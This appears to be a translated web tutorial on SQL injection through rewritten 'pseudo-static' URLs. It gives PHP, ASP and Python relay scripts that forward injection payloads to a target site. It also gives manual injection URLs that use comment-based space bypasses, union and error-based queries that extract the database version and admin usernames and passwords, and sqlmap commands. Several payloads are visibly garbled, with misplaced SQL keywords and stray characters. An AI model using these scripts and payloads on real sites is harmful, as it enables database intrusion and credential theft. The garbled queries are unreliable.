PHP shares pseudo-static injection examples

This article mainly introduces PHP's pseudo-static injection. It summarizes and analyzes the common injection situations of PHP against pseudo-static in the form of examples. It also comes with related operation codes of asp and Python. It has certain reference value for PHP program security. It is needed. Friends can refer to it, I hope it can help everyone.

1: Transfer injection method

1. Do it through http://www.xxx.com/news.php?id=1 After pseudo-static, it becomes like this
http://www.xxx.com/news.php/id/1.html

2. Test steps:

Transit injection php code: inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3. Build PHP in the local environment, and then visit http://127.0.0.1/inject.php?id=1

Injection vulnerabilities can be run through sqlmap or havj.

Appendix ASP transfer code:

<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
&#39;JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串，cookie，referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
&#39;vstrin=replace(vstrin,"%","%25") &#39;增加转换搜索字符,
&#39;vstrin=Replace(vstrin,chr(32),"%20") &#39;转换空格,如果网站过滤了空格,尝试用/**/来代替%20
&#39;vstrin=Replace(vstrin,chr(43),"%2B")  &#39;JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  &#39;在此增加要过滤的代码 //这里很关键，方便啊，把空格自动换成/**/，后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>

2. Manual injection method

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2. Test injection:

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http:// www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html Normal
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html Error

3. Check whether there are differences in the pages. If they are the same, Doesn't exist, different exists injected.

4. Union query:

http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1. html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/(select/**/from/**/count(* ),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/group/**/a)b)=1/*.html

Manual injection method (2)

http://www.xxx.net /news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/1/**/(select/**/concat(user,0x3a,password)/**/select/**/pwn_base_admin/**/0,1),0x3a)a/**/information_schema.tables/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/by/**/where'1'='1.html

Note:

Pseudo-static injection is not the same as ordinary GET injection of URL

. %20, %23, +, etc. injected by get of ordinary URLs can be used; however, pseudo-static does not work and will be passed directly to the URL, so use /**&*/limit/**&*&*&*&*&*/a)b/**&*/This comment symbol Indicates spaces.

##3. SQLmap method

Add *

http:// wherever there is a pseudo-static injection point in sqlmap. www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www .xxx.com/news/class/?103.htm
python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”

4. python script method

Code:

##

from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find('id=')+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()
